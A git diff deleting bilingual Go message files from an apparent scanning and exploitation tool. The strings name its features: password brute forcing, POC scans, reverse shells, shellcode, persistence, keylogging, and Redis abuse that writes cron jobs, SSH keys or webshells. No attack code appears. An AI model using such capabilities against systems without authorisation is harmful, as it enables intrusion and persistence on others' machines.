- LangZH: "加载默认配置",
- LangEN: "Loading default configuration",
- },
- "config_override_detected": {
- LangZH: "检测到配置覆盖: %s",
- LangEN: "Configuration override detected: %s",
- },
- "config_web_timeout_warning": {
- LangZH: "Web超时时间大于普通超时时间,可能导致不期望的行为",
- LangEN: "Web timeout is larger than normal timeout, may cause unexpected behavior",
- },
-
- // ========================= 验证相关消息 =========================
- "validation_start": {
- LangZH: "开始配置验证",
- LangEN: "Starting configuration validation",
- },
- "validation_complete": {
- LangZH: "配置验证完成",
- LangEN: "Configuration validation completed",
- },
- "validation_warning": {
- LangZH: "验证警告: %s",
- LangEN: "Validation warning: %s",
- },
- "validation_error": {
- LangZH: "验证错误: %s",
- LangEN: "Validation error: %s",
- },
-}
\ No newline at end of file
diff --git a/Common/i18n/messages/constants.go b/Common/i18n/messages/constants.go
deleted file mode 100644
index ae1b3ef..0000000
--- a/Common/i18n/messages/constants.go
+++ /dev/null
@@ -1,13 +0,0 @@
-package messages
-
-/*
-constants.go - 消息包常量定义
-
-包含消息包中使用的语言常量,避免循环导入问题。
-*/
-
-// 语言常量
-const (
- LangZH = "zh" // 中文
- LangEN = "en" // 英文
-)
\ No newline at end of file
diff --git a/Common/i18n/messages/core.go b/Common/i18n/messages/core.go
deleted file mode 100644
index 141b40b..0000000
--- a/Common/i18n/messages/core.go
+++ /dev/null
@@ -1,93 +0,0 @@
-package messages
-
-/*
-core.go - 核心系统消息
-
-包含系统核心功能的国际化消息,包括扫描流程、
-系统状态、通用错误等基础消息。
-*/
-
-// CoreMessages 核心系统消息
-var CoreMessages = map[string]map[string]string{
- // ========================= 系统状态消息 =========================
- "status_scan_start": {
- LangZH: "开始扫描",
- LangEN: "Starting scan",
- },
- "status_scan_complete": {
- LangZH: "扫描完成",
- LangEN: "Scan completed",
- },
- "status_scan_progress": {
- LangZH: "扫描进度: %d/%d",
- LangEN: "Scan progress: %d/%d",
- },
- "status_target_found": {
- LangZH: "发现目标: %s",
- LangEN: "Target found: %s",
- },
- "status_service_detected": {
- LangZH: "检测到服务: %s",
- LangEN: "Service detected: %s",
- },
- "status_vuln_found": {
- LangZH: "发现漏洞: %s",
- LangEN: "Vulnerability found: %s",
- },
- "status_connection_failed": {
- LangZH: "连接失败: %s",
- LangEN: "Connection failed: %s",
- },
- "status_timeout": {
- LangZH: "连接超时: %s",
- LangEN: "Connection timeout: %s",
- },
-
- // ========================= 通用状态消息 =========================
- "status_initializing": {
- LangZH: "正在初始化...",
- LangEN: "Initializing...",
- },
- "status_processing": {
- LangZH: "正在处理...",
- LangEN: "Processing...",
- },
- "status_completed": {
- LangZH: "已完成",
- LangEN: "Completed",
- },
- "status_failed": {
- LangZH: "失败",
- LangEN: "Failed",
- },
- "status_cancelled": {
- LangZH: "已取消",
- LangEN: "Cancelled",
- },
- "status_ready": {
- LangZH: "就绪",
- LangEN: "Ready",
- },
-
- // ========================= 文件操作消息 =========================
- "file_read_start": {
- LangZH: "开始读取文件: %s",
- LangEN: "Starting to read file: %s",
- },
- "file_read_complete": {
- LangZH: "文件读取完成: %s",
- LangEN: "File reading completed: %s",
- },
- "file_read_error": {
- LangZH: "读取文件错误: %s",
- LangEN: "File reading error: %s",
- },
- "file_not_exist": {
- LangZH: "文件不存在: %s",
- LangEN: "File does not exist: %s",
- },
- "file_empty": {
- LangZH: "文件为空: %s",
- LangEN: "File is empty: %s",
- },
-}
\ No newline at end of file
diff --git a/Common/i18n/messages/error.go b/Common/i18n/messages/error.go
deleted file mode 100644
index 4cb4490..0000000
--- a/Common/i18n/messages/error.go
+++ /dev/null
@@ -1,33 +0,0 @@
-package messages
-
-/*
-error.go - 通用错误消息
-
-包含通用错误、异常处理等相关的
-国际化消息定义。
-*/
-
-// ErrorMessages 通用错误消息
-var ErrorMessages = map[string]map[string]string{
- // ========================= 通用错误消息 =========================
- "error_occurred": {
- LangZH: "错误: %v",
- LangEN: "Error: %v",
- },
- "error_unknown": {
- LangZH: "未知错误",
- LangEN: "Unknown error",
- },
- "error_not_implemented": {
- LangZH: "功能未实现",
- LangEN: "Feature not implemented",
- },
- "error_permission_denied": {
- LangZH: "权限不足",
- LangEN: "Permission denied",
- },
- "error_resource_busy": {
- LangZH: "资源忙碌",
- LangEN: "Resource busy",
- },
-}
\ No newline at end of file
diff --git a/Common/i18n/messages/flag.go b/Common/i18n/messages/flag.go
deleted file mode 100644
index dd661ba..0000000
--- a/Common/i18n/messages/flag.go
+++ /dev/null
@@ -1,273 +0,0 @@
-package messages
-
-/*
-flag.go - 命令行参数消息
-
-包含命令行参数帮助信息等相关的
-国际化消息定义。
-*/
-
-// FlagMessages 命令行参数消息
-var FlagMessages = map[string]map[string]string{
- // ========================= Flag参数帮助消息 =========================
- "flag_host": {
- LangZH: "目标主机: IP, IP段, IP段文件, 域名",
- LangEN: "Target host: IP, IP range, IP file, domain",
- },
- "flag_exclude_hosts": {
- LangZH: "排除主机",
- LangEN: "Exclude hosts",
- },
- "flag_ports": {
- LangZH: "端口: 默认1000个常用端口",
- LangEN: "Ports: default 1000 common ports",
- },
- "flag_exclude_ports": {
- LangZH: "排除端口",
- LangEN: "Exclude ports",
- },
- "flag_hosts_file": {
- LangZH: "主机文件",
- LangEN: "Hosts file",
- },
- "flag_ports_file": {
- LangZH: "端口文件",
- LangEN: "Ports file",
- },
- "flag_scan_mode": {
- LangZH: "扫描模式: all(全部), icmp(存活探测), 或指定插件名称",
- LangEN: "Scan mode: all(all plugins), icmp(alive detection), or specific plugin names",
- },
- "flag_thread_num": {
- LangZH: "端口扫描线程数",
- LangEN: "Port scan thread count",
- },
- "flag_timeout": {
- LangZH: "端口扫描超时时间",
- LangEN: "Port scan timeout",
- },
- "flag_module_thread_num": {
- LangZH: "模块线程数",
- LangEN: "Module thread count",
- },
- "flag_global_timeout": {
- LangZH: "全局超时时间",
- LangEN: "Global timeout",
- },
- "flag_live_top": {
- LangZH: "存活主机显示数量",
- LangEN: "Live hosts display count",
- },
- "flag_disable_ping": {
- LangZH: "禁用ping探测",
- LangEN: "Disable ping detection",
- },
- "flag_enable_fingerprint": {
- LangZH: "启用指纹识别",
- LangEN: "Enable fingerprinting",
- },
- "flag_local_mode": {
- LangZH: "本地扫描模式",
- LangEN: "Local scan mode",
- },
- "flag_alive_only": {
- LangZH: "仅进行存活探测",
- LangEN: "Alive detection only",
- },
- "param_conflict_ao_icmp_both": {
- LangZH: "提示: 同时指定了 -ao 和 -m icmp,两者功能相同,使用存活探测模式",
- LangEN: "Note: Both -ao and -m icmp specified, both enable alive detection mode",
- },
- "flag_username": {
- LangZH: "用户名",
- LangEN: "Username",
- },
- "flag_password": {
- LangZH: "密码",
- LangEN: "Password",
- },
- "flag_add_users": {
- LangZH: "额外用户名",
- LangEN: "Additional usernames",
- },
- "flag_add_passwords": {
- LangZH: "额外密码",
- LangEN: "Additional passwords",
- },
- "flag_users_file": {
- LangZH: "用户名字典文件",
- LangEN: "Username dictionary file",
- },
- "flag_passwords_file": {
- LangZH: "密码字典文件",
- LangEN: "Password dictionary file",
- },
- "flag_hash_file": {
- LangZH: "哈希文件",
- LangEN: "Hash file",
- },
- "flag_hash_value": {
- LangZH: "哈希值",
- LangEN: "Hash value",
- },
- "flag_domain": {
- LangZH: "域名",
- LangEN: "Domain name",
- },
- "flag_ssh_key": {
- LangZH: "SSH私钥文件",
- LangEN: "SSH private key file",
- },
- "flag_target_url": {
- LangZH: "目标URL",
- LangEN: "Target URL",
- },
- "flag_urls_file": {
- LangZH: "URL文件",
- LangEN: "URLs file",
- },
- "flag_cookie": {
- LangZH: "HTTP Cookie",
- LangEN: "HTTP Cookie",
- },
- "flag_web_timeout": {
- LangZH: "Web超时时间",
- LangEN: "Web timeout",
- },
- "flag_http_proxy": {
- LangZH: "HTTP代理",
- LangEN: "HTTP proxy",
- },
- "flag_poc_path": {
- LangZH: "POC脚本路径",
- LangEN: "POC script path",
- },
- "flag_poc_name": {
- LangZH: "POC名称",
- LangEN: "POC name",
- },
- "flag_poc_full": {
- LangZH: "全量POC扫描",
- LangEN: "Full POC scan",
- },
- "flag_dns_log": {
- LangZH: "DNS日志记录",
- LangEN: "DNS logging",
- },
- "flag_poc_num": {
- LangZH: "POC并发数",
- LangEN: "POC concurrency",
- },
- "flag_no_poc": {
- LangZH: "禁用POC扫描",
- LangEN: "Disable POC scan",
- },
- "flag_redis_file": {
- LangZH: "Redis文件",
- LangEN: "Redis file",
- },
- "flag_redis_shell": {
- LangZH: "Redis Shell",
- LangEN: "Redis Shell",
- },
- "flag_redis_write_path": {
- LangZH: "Redis写入路径",
- LangEN: "Redis write path",
- },
- "flag_redis_write_content": {
- LangZH: "Redis写入内容",
- LangEN: "Redis write content",
- },
- "flag_redis_write_file": {
- LangZH: "Redis写入文件",
- LangEN: "Redis write file",
- },
- "flag_disable_brute": {
- LangZH: "禁用暴力破解",
- LangEN: "Disable brute force",
- },
- "flag_max_retries": {
- LangZH: "最大重试次数",
- LangEN: "Maximum retries",
- },
- "flag_output_file": {
- LangZH: "输出文件",
- LangEN: "Output file",
- },
- "flag_output_format": {
- LangZH: "输出格式: txt, json, csv",
- LangEN: "Output format: txt, json, csv",
- },
- "flag_disable_save": {
- LangZH: "禁用结果保存",
- LangEN: "Disable result saving",
- },
- "flag_silent_mode": {
- LangZH: "静默模式",
- LangEN: "Silent mode",
- },
- "flag_no_color": {
- LangZH: "禁用颜色输出",
- LangEN: "Disable color output",
- },
- "flag_log_level": {
- LangZH: "日志级别",
- LangEN: "Log level",
- },
- "flag_disable_progress": {
- LangZH: "禁用进度条",
- LangEN: "Disable progress bar",
- },
- "flag_shellcode": {
- LangZH: "Shellcode",
- LangEN: "Shellcode",
- },
- "flag_reverse_shell_target": {
- LangZH: "反弹Shell目标地址:端口 (如: 192.168.1.100:4444)",
- LangEN: "Reverse shell target address:port (e.g.: 192.168.1.100:4444)",
- },
- "flag_socks5_proxy": {
- LangZH: "使用SOCKS5代理 (如: 127.0.0.1:1080)",
- LangEN: "Use SOCKS5 proxy (e.g.: 127.0.0.1:1080)",
- },
- "flag_start_socks5_server": {
- LangZH: "启动SOCKS5代理服务器端口 (如: 1080)",
- LangEN: "Start SOCKS5 proxy server on port (e.g.: 1080)",
- },
- "flag_forward_shell_port": {
- LangZH: "启动正向Shell服务器端口 (如: 4444)",
- LangEN: "Start forward shell server on port (e.g.: 4444)",
- },
- "flag_persistence_file": {
- LangZH: "Linux持久化目标文件路径 (支持.elf/.sh文件)",
- LangEN: "Linux persistence target file path (supports .elf/.sh files)",
- },
- "flag_win_pe_file": {
- LangZH: "Windows持久化目标PE文件路径 (支持.exe/.dll文件)",
- LangEN: "Windows persistence target PE file path (supports .exe/.dll files)",
- },
- "flag_keylogger_output": {
- LangZH: "键盘记录输出文件路径",
- LangEN: "Keylogger output file path",
- },
- "flag_download_url": {
- LangZH: "要下载的文件URL",
- LangEN: "URL of the file to download",
- },
- "flag_download_path": {
- LangZH: "下载文件保存路径",
- LangEN: "Save path for downloaded file",
- },
- "flag_language": {
- LangZH: "语言: zh, en",
- LangEN: "Language: zh, en",
- },
- "flag_help": {
- LangZH: "显示帮助信息",
- LangEN: "Show help information",
- },
- "flag_version": {
- LangZH: "显示版本信息",
- LangEN: "Show version information",
- },
-}
\ No newline at end of file
diff --git a/Common/i18n/messages/network.go b/Common/i18n/messages/network.go
deleted file mode 100644
index ee7c7e5..0000000
--- a/Common/i18n/messages/network.go
+++ /dev/null
@@ -1,67 +0,0 @@
-package messages
-
-/*
-network.go - 网络相关消息
-
-包含网络配置、代理设置、连接管理等相关的
-国际化消息定义。
-*/
-
-// NetworkMessages 网络相关消息
-var NetworkMessages = map[string]map[string]string{
- // ========================= 网络配置消息 =========================
- "network_http_proxy": {
- LangZH: "HTTP代理: %s",
- LangEN: "HTTP proxy: %s",
- },
- "network_socks5_proxy": {
- LangZH: "Socks5代理: %s",
- LangEN: "Socks5 proxy: %s",
- },
- "network_timeout": {
- LangZH: "连接超时: %v",
- LangEN: "Connection timeout: %v",
- },
- "network_web_timeout": {
- LangZH: "Web超时: %v",
- LangEN: "Web timeout: %v",
- },
-
- // ========================= 代理系统消息 =========================
- "proxy_init_start": {
- LangZH: "初始化代理系统",
- LangEN: "Initializing proxy system",
- },
- "proxy_init_success": {
- LangZH: "代理系统初始化成功",
- LangEN: "Proxy system initialized successfully",
- },
- "proxy_init_failed": {
- LangZH: "初始化代理配置失败: %v",
- LangEN: "Failed to initialize proxy configuration: %v",
- },
- "proxy_config_sync_failed": {
- LangZH: "代理配置同步失败: %v",
- LangEN: "Failed to sync proxy configuration: %v",
- },
- "proxy_enabled": {
- LangZH: "代理已启用: %s %s",
- LangEN: "Proxy enabled: %s %s",
- },
- "proxy_disabled": {
- LangZH: "代理已禁用",
- LangEN: "Proxy disabled",
- },
- "proxy_connection_failed": {
- LangZH: "代理连接失败: %v",
- LangEN: "Proxy connection failed: %v",
- },
- "socks5_create_failed": {
- LangZH: "创建SOCKS5连接失败: %v",
- LangEN: "Failed to create SOCKS5 connection: %v",
- },
- "tls_conn_failed": {
- LangZH: "TLS连接失败: %v",
- LangEN: "TLS connection failed: %v",
- },
-}
\ No newline at end of file
diff --git a/Common/i18n/messages/output.go b/Common/i18n/messages/output.go
deleted file mode 100644
index c89a410..0000000
--- a/Common/i18n/messages/output.go
+++ /dev/null
@@ -1,109 +0,0 @@
-package messages
-
-/*
-output.go - 输出相关消息
-
-包含输出系统、文件保存、格式化等相关的
-国际化消息定义。
-*/
-
-// OutputMessages 输出相关消息
-var OutputMessages = map[string]map[string]string{
- // ========================= 输出系统消息 =========================
- "output_init_start": {
- LangZH: "初始化输出系统",
- LangEN: "Initializing output system",
- },
- "output_init_success": {
- LangZH: "输出系统初始化成功",
- LangEN: "Output system initialized successfully",
- },
- "output_init_failed": {
- LangZH: "输出系统初始化失败: %v",
- LangEN: "Failed to initialize output system: %v",
- },
- "output_format_invalid": {
- LangZH: "无效的输出格式: %s",
- LangEN: "Invalid output format: %s",
- },
- "output_path_empty": {
- LangZH: "输出路径为空",
- LangEN: "Output path is empty",
- },
- "output_not_init": {
- LangZH: "输出系统未初始化",
- LangEN: "Output system not initialized",
- },
- "output_saving_result": {
- LangZH: "保存扫描结果: %s -> %s",
- LangEN: "Saving scan result: %s -> %s",
- },
- "output_save_failed": {
- LangZH: "保存结果失败: %v",
- LangEN: "Failed to save result: %v",
- },
- "output_closing": {
- LangZH: "关闭输出系统",
- LangEN: "Closing output system",
- },
- "output_closed": {
- LangZH: "输出系统已关闭",
- LangEN: "Output system closed",
- },
- "output_close_failed": {
- LangZH: "关闭输出系统失败: %v",
- LangEN: "Failed to close output system: %v",
- },
- "output_config_nil": {
- LangZH: "配置不能为空",
- LangEN: "Configuration cannot be nil",
- },
- "output_unsupported_format": {
- LangZH: "不支持的输出格式: %s",
- LangEN: "Unsupported output format: %s",
- },
- "output_writer_init_failed": {
- LangZH: "初始化写入器失败: %v",
- LangEN: "Failed to initialize writer: %v",
- },
- "output_writer_closed": {
- LangZH: "写入器已关闭",
- LangEN: "Writer is closed",
- },
- "output_manager_not_init": {
- LangZH: "输出管理器未初始化",
- LangEN: "Output manager not initialized",
- },
- "output_manager_closed": {
- LangZH: "输出管理器已关闭",
- LangEN: "Output manager is closed",
- },
- "output_write_failed": {
- LangZH: "写入结果失败: %v",
- LangEN: "Failed to write result: %v",
- },
- "output_flush_failed": {
- LangZH: "刷新写入器失败: %v",
- LangEN: "Failed to flush writer: %v",
- },
- "output_create_file_failed": {
- LangZH: "创建%s文件失败: %v",
- LangEN: "Failed to create %s file: %v",
- },
- "output_write_header_failed": {
- LangZH: "写入CSV头部失败: %v",
- LangEN: "Failed to write CSV header: %v",
- },
- "output_open_file_failed": {
- LangZH: "打开CSV文件失败: %v",
- LangEN: "Failed to open CSV file: %v",
- },
- "output_read_file_failed": {
- LangZH: "读取CSV文件失败: %v",
- LangEN: "Failed to read CSV file: %v",
- },
- "output_parse_time_failed": {
- LangZH: "无法解析时间: %s",
- LangEN: "Failed to parse time: %s",
- },
-}
\ No newline at end of file
diff --git a/Common/i18n/messages/parse.go b/Common/i18n/messages/parse.go
deleted file mode 100644
index ed2a5f0..0000000
--- a/Common/i18n/messages/parse.go
+++ /dev/null
@@ -1,287 +0,0 @@
-package messages
-
-/*
-parse.go - 解析相关消息
-
-包含参数解析、目标解析、凭据解析等相关的
-国际化消息定义。
-*/
-
-// ParseMessages 解析相关消息
-var ParseMessages = map[string]map[string]string{
- // ========================= 解析错误消息 =========================
- "parse_error_empty_input": {
- LangZH: "输入参数为空",
- LangEN: "Input parameters are empty",
- },
- "parse_error_config_failed": {
- LangZH: "解析配置失败: %v",
- LangEN: "Failed to parse configuration: %v",
- },
- "parse_error_parser_not_init": {
- LangZH: "解析器未初始化",
- LangEN: "Parser not initialized",
- },
- "parse_error_credential_failed": {
- LangZH: "凭据解析失败: %v",
- LangEN: "Failed to parse credentials: %v",
- },
- "parse_error_target_failed": {
- LangZH: "目标解析失败: %v",
- LangEN: "Failed to parse targets: %v",
- },
- "parse_error_network_failed": {
- LangZH: "网络解析失败: %v",
- LangEN: "Failed to parse network configuration: %v",
- },
- "parse_error_validation_failed": {
- LangZH: "验证失败: %v",
- LangEN: "Validation failed: %v",
- },
- "parse_error_update_vars_failed": {
- LangZH: "更新全局变量失败: %v",
- LangEN: "Failed to update global variables: %v",
- },
- "parse_error_target_empty": {
- LangZH: "目标输入为空",
- LangEN: "Target input is empty",
- },
- "parse_error_credential_empty": {
- LangZH: "凭据输入为空",
- LangEN: "Credential input is empty",
- },
- "parse_error_network_empty": {
- LangZH: "网络配置为空",
- LangEN: "Network configuration is empty",
- },
- "parse_error_invalid_ip": {
- LangZH: "无效的IP地址: %s",
- LangEN: "Invalid IP address: %s",
- },
- "parse_error_invalid_port": {
- LangZH: "无效的端口: %s",
- LangEN: "Invalid port: %s",
- },
- "parse_error_invalid_url": {
- LangZH: "无效的URL: %s",
- LangEN: "Invalid URL: %s",
- },
- "parse_error_file_not_found": {
- LangZH: "文件未找到: %s",
- LangEN: "File not found: %s",
- },
- "parse_error_file_read_failed": {
- LangZH: "读取文件失败: %s",
- LangEN: "Failed to read file: %s",
- },
-
- // ========================= 目标解析消息 =========================
- "target_parse_start": {
- LangZH: "开始解析目标",
- LangEN: "Starting target parsing",
- },
- "target_parse_complete": {
- LangZH: "目标解析完成",
- LangEN: "Target parsing completed",
- },
- "target_hosts_found": {
- LangZH: "目标主机: %s",
- LangEN: "Target hosts: %s",
- },
- "target_hosts_count": {
- LangZH: "目标主机: %s ... (共%d个)",
- LangEN: "Target hosts: %s ... (total %d)",
- },
- "target_urls_found": {
- LangZH: "目标URL: %s",
- LangEN: "Target URLs: %s",
- },
- "target_urls_count": {
- LangZH: "目标URL: %s ... (共%d个)",
- LangEN: "Target URLs: %s ... (total %d)",
- },
- "target_ports_found": {
- LangZH: "扫描端口: %s",
- LangEN: "Scan ports: %s",
- },
- "target_ports_count": {
- LangZH: "扫描端口: %s ... (共%d个)",
- LangEN: "Scan ports: %s ... (total %d)",
- },
- "target_exclude_ports": {
- LangZH: "排除端口: %s",
- LangEN: "Exclude ports: %s",
- },
- "target_local_mode": {
- LangZH: "本地扫描模式",
- LangEN: "Local scan mode",
- },
-
- // ========================= 凭据相关消息 =========================
- "credential_username_count": {
- LangZH: "用户名数量: %d",
- LangEN: "Username count: %d",
- },
- "credential_password_count": {
- LangZH: "密码数量: %d",
- LangEN: "Password count: %d",
- },
- "credential_hash_count": {
- LangZH: "Hash数量: %d",
- LangEN: "Hash count: %d",
- },
-
- // ========================= Parsers包专用消息 =========================
- "parser_validation_input_empty": {
- LangZH: "验证输入为空",
- LangEN: "Validation input is empty",
- },
- "parser_empty_input": {
- LangZH: "输入参数为空",
- LangEN: "Input parameters are empty",
- },
- "parser_file_empty": {
- LangZH: "文件名为空",
- LangEN: "File name is empty",
- },
- "parser_file_too_big": {
- LangZH: "文件过大: %d bytes, 最大限制: %d bytes",
- LangEN: "File too large: %d bytes, max limit: %d bytes",
- },
- "parser_cannot_open_file": {
- LangZH: "无法打开文件",
- LangEN: "Cannot open file",
- },
- "parser_file_not_exists": {
- LangZH: "文件不存在或无法访问",
- LangEN: "File does not exist or cannot be accessed",
- },
- "parser_file_read_timeout": {
- LangZH: "文件读取超时",
- LangEN: "File read timeout",
- },
- "parser_file_scan_failed": {
- LangZH: "文件扫描失败",
- LangEN: "File scan failed",
- },
- "parser_username_too_long": {
- LangZH: "用户名过长: %d字符,最大允许: %d",
- LangEN: "Username too long: %d characters, max allowed: %d",
- },
- "parser_username_invalid_chars": {
- LangZH: "用户名包含非法字符",
- LangEN: "Username contains invalid characters",
- },
- "parser_password_empty": {
- LangZH: "不允许空密码",
- LangEN: "Empty passwords not allowed",
- },
- "parser_password_too_long": {
- LangZH: "密码过长: %d字符,最大允许: %d",
- LangEN: "Password too long: %d characters, max allowed: %d",
- },
- "parser_hash_empty": {
- LangZH: "哈希值为空",
- LangEN: "Hash value is empty",
- },
- "parser_hash_invalid_format": {
- LangZH: "哈希值格式无效,需要32位十六进制字符",
- LangEN: "Invalid hash format, requires 32-character hexadecimal",
- },
- "parser_proxy_url_invalid": {
- LangZH: "代理URL格式无效: %v",
- LangEN: "Invalid proxy URL format: %v",
- },
- "parser_proxy_protocol_unsupported": {
- LangZH: "不支持的代理协议: %s",
- LangEN: "Unsupported proxy protocol: %s",
- },
- "parser_proxy_host_empty": {
- LangZH: "代理主机名为空",
- LangEN: "Proxy hostname is empty",
- },
- "parser_proxy_port_invalid": {
- LangZH: "代理端口号无效: %s",
- LangEN: "Invalid proxy port: %s",
- },
- "parser_proxy_port_out_of_range": {
- LangZH: "代理端口号超出范围: %d",
- LangEN: "Proxy port out of range: %d",
- },
- "parser_proxy_insecure": {
- LangZH: "不允许使用不安全的HTTP代理",
- LangEN: "Insecure HTTP proxy not allowed",
- },
- "parser_user_agent_too_long": {
- LangZH: "用户代理字符串过长",
- LangEN: "User agent string too long",
- },
- "parser_user_agent_invalid_chars": {
- LangZH: "用户代理包含非法字符",
- LangEN: "User agent contains invalid characters",
- },
- "parser_cookie_too_long": {
- LangZH: "Cookie字符串过长",
- LangEN: "Cookie string too long",
- },
- "parser_error_count_limit": {
- LangZH: "错误数量过多,仅显示前%d个",
- LangEN: "Too many errors, showing only first %d",
- },
- "parser_no_scan_target": {
- LangZH: "未指定任何扫描目标",
- LangEN: "No scan targets specified",
- },
- "parser_no_target_default": {
- LangZH: "未指定扫描目标,将使用默认配置",
- LangEN: "No scan targets specified, using default configuration",
- },
- "parser_multiple_scan_modes": {
- LangZH: "不能同时使用多种扫描模式",
- LangEN: "Cannot use multiple scan modes simultaneously",
- },
- "parser_proxy_ping_warning": {
- LangZH: "使用代理时建议禁用Ping检测",
- LangEN: "Recommend disabling Ping detection when using proxy",
- },
- "parser_multiple_modes_conflict": {
- LangZH: "不能同时指定多种扫描模式(主机扫描、URL扫描、本地模式)",
- LangEN: "Cannot specify multiple scan modes (host scan, URL scan, local mode) simultaneously",
- },
- "parser_proxy_ping_fail": {
- LangZH: "代理模式下Ping检测可能失效",
- LangEN: "Ping detection may fail in proxy mode",
- },
- "parser_exclude_ports_invalid": {
- LangZH: "排除端口无效",
- LangEN: "Exclude ports invalid",
- },
- "parser_many_targets_warning": {
- LangZH: "大量目标(%d),可能耗时较长",
- LangEN: "Large number of targets (%d), may take a long time",
- },
- "parser_too_many_ports": {
- LangZH: "端口数量过多",
- LangEN: "Too many ports",
- },
- "parser_timeout_too_short": {
- LangZH: "超时过短",
- LangEN: "Timeout too short",
- },
- "parser_timeout_too_long": {
- LangZH: "超时过长",
- LangEN: "Timeout too long",
- },
- "parser_invalid_scan_mode": {
- LangZH: "无效的扫描模式: %s",
- LangEN: "Invalid scan mode: %s",
- },
- "parse_error_invalid_target_format": {
- LangZH: "无效的目标地址格式: %s",
- LangEN: "Invalid target address format: %s",
- },
- "parse_error_no_hosts": {
- LangZH: "解析后没有找到有效的目标主机",
- LangEN: "No valid target hosts found after parsing",
- },
-}
\ No newline at end of file
diff --git a/Common/i18n/messages/plugins.go b/Common/i18n/messages/plugins.go
deleted file mode 100644
index 3f3bab0..0000000
--- a/Common/i18n/messages/plugins.go
+++ /dev/null
@@ -1,903 +0,0 @@
-package messages
-
-/*
-plugins.go - 插件相关消息
-
-包含新插件架构中各种插件的国际化消息定义,
-包括扫描、利用、认证等相关消息。
-*/
-
-// PluginMessages 插件相关消息
-var PluginMessages = map[string]map[string]string{
- // ========================= 通用插件消息 =========================
- "plugin_init": {
- LangZH: "初始化插件: %s",
- LangEN: "Initializing plugin: %s",
- },
- "plugin_scan_start": {
- LangZH: "开始%s插件扫描: %s",
- LangEN: "Starting %s plugin scan: %s",
- },
- "plugin_scan_success": {
- LangZH: "%s扫描成功: %s",
- LangEN: "%s scan successful: %s",
- },
- "plugin_scan_failed": {
- LangZH: "%s插件扫描失败: %v",
- LangEN: "%s plugin scan failed: %v",
- },
- "plugin_exploit_start": {
- LangZH: "开始%s自动利用: %s",
- LangEN: "Starting %s auto exploitation: %s",
- },
- "plugin_exploit_success": {
- LangZH: "%s利用成功: %s",
- LangEN: "%s exploitation successful: %s",
- },
- "plugin_exploit_failed": {
- LangZH: "%s利用失败: %v",
- LangEN: "%s exploitation failed: %v",
- },
-
- // ========================= 通用成功消息模板 =========================
- "plugin_login_success": {
- LangZH: "%s弱密码: %s [%s:%s]",
- LangEN: "%s weak password: %s [%s:%s]",
- },
- "plugin_login_success_passwd_only": {
- LangZH: "%s弱密码: %s [%s]",
- LangEN: "%s weak password: %s [%s]",
- },
- "plugin_unauthorized_access": {
- LangZH: "%s未授权访问: %s",
- LangEN: "%s unauthorized access: %s",
- },
-
- // ========================= 利用(Exploit)消息模板 =========================
- "exploit_weak_password_success": {
- LangZH: "%s %s 弱密码利用成功",
- LangEN: "%s %s weak password exploit successful",
- },
- "exploit_unauthorized_success": {
- LangZH: "%s %s 未授权访问利用成功",
- LangEN: "%s %s unauthorized access exploit successful",
- },
- "exploit_command_exec_success": {
- LangZH: "%s %s 命令执行利用成功",
- LangEN: "%s %s command execution exploit successful",
- },
- "exploit_file_write_success": {
- LangZH: "%s %s 文件写入利用成功",
- LangEN: "%s %s file write exploit successful",
- },
- "exploit_sql_injection_success": {
- LangZH: "%s %s SQL注入利用成功",
- LangEN: "%s %s SQL injection exploit successful",
- },
- "exploit_data_extraction_success": {
- LangZH: "%s %s %s 利用成功",
- LangEN: "%s %s %s exploit successful",
- },
- "exploit_generic_success": {
- LangZH: "%s %s %s 利用成功",
- LangEN: "%s %s %s exploit successful",
- },
- "exploit_with_output": {
- LangZH: " 输出: %s",
- LangEN: " output: %s",
- },
- "exploit_files_created": {
- LangZH: "创建/修改的文件: %v",
- LangEN: "Files created/modified: %v",
- },
- "exploit_shell_obtained": {
- LangZH: "获得Shell: %s %s:%d 用户:%s",
- LangEN: "Shell obtained: %s %s:%d user:%s",
- },
-
- // ========================= 利用方法执行消息 =========================
- "exploit_method_trying": {
- LangZH: "尝试利用方法: %s",
- LangEN: "Trying exploit method: %s",
- },
- "exploit_method_success": {
- LangZH: "利用方法 %s 执行成功",
- LangEN: "Exploit method %s executed successfully",
- },
- "exploit_method_failed": {
- LangZH: "利用方法 %s 执行失败: %v",
- LangEN: "Exploit method %s failed: %v",
- },
- "exploit_method_condition_not_met": {
- LangZH: "利用方法 %s 前置条件不满足,跳过",
- LangEN: "Exploit method %s prerequisites not met, skipping",
- },
- "exploit_all_methods_failed": {
- LangZH: "所有利用方法都失败",
- LangEN: "All exploit methods failed",
- },
-
- // ========================= MySQL利用方法消息 =========================
- "mysql_version_info": {
- LangZH: "MySQL版本: %s",
- LangEN: "MySQL version: %s",
- },
- "mysql_current_user": {
- LangZH: "当前用户: %s",
- LangEN: "Current user: %s",
- },
- "mysql_current_database": {
- LangZH: "当前数据库: %s",
- LangEN: "Current database: %s",
- },
- "mysql_databases_found": {
- LangZH: "发现数据库: %s",
- LangEN: "Databases found: %s",
- },
- "mysql_tables_found": {
- LangZH: "发现表: %v",
- LangEN: "Tables found: %v",
- },
- "mysql_user_privileges": {
- LangZH: "用户权限: %s",
- LangEN: "User privileges: %s",
- },
- "mysql_file_privilege_detected": {
- LangZH: "检测到FILE权限,可能支持文件操作",
- LangEN: "FILE privilege detected, file operations may be supported",
- },
- "mysql_file_read_success": {
- LangZH: "读取文件 %s:\n%s",
- LangEN: "File %s read:\n%s",
- },
- "mysql_file_write_success": {
- LangZH: "成功写入文件: %s",
- LangEN: "File written successfully: %s",
- },
- "mysql_no_file_privilege": {
- LangZH: "无法读取任何文件,可能没有FILE权限",
- LangEN: "Cannot read any files, may lack FILE privilege",
- },
-
- // ========================= Redis利用方法消息 =========================
- "redis_server_info": {
- LangZH: "Redis服务器信息: %s",
- LangEN: "Redis server info: %s",
- },
- "redis_config_info": {
- LangZH: "Redis配置信息: %s",
- LangEN: "Redis config info: %s",
- },
- "redis_keys_found": {
- LangZH: "发现Redis键: %v",
- LangEN: "Redis keys found: %v",
- },
- "redis_backup_created": {
- LangZH: "Redis备份创建成功: %s",
- LangEN: "Redis backup created: %s",
- },
- "redis_cron_job_written": {
- LangZH: "Cron任务写入成功: %s",
- LangEN: "Cron job written successfully: %s",
- },
- "redis_ssh_key_written": {
- LangZH: "SSH密钥写入成功: %s",
- LangEN: "SSH key written successfully: %s",
- },
- "redis_webshell_written": {
- LangZH: "Webshell写入成功: %s",
- LangEN: "Webshell written successfully: %s",
- },
- "redis_no_keys_found": {
- LangZH: "未发现任何Redis键",
- LangEN: "No Redis keys found",
- },
- "redis_write_failed": {
- LangZH: "Redis写入操作失败",
- LangEN: "Redis write operation failed",
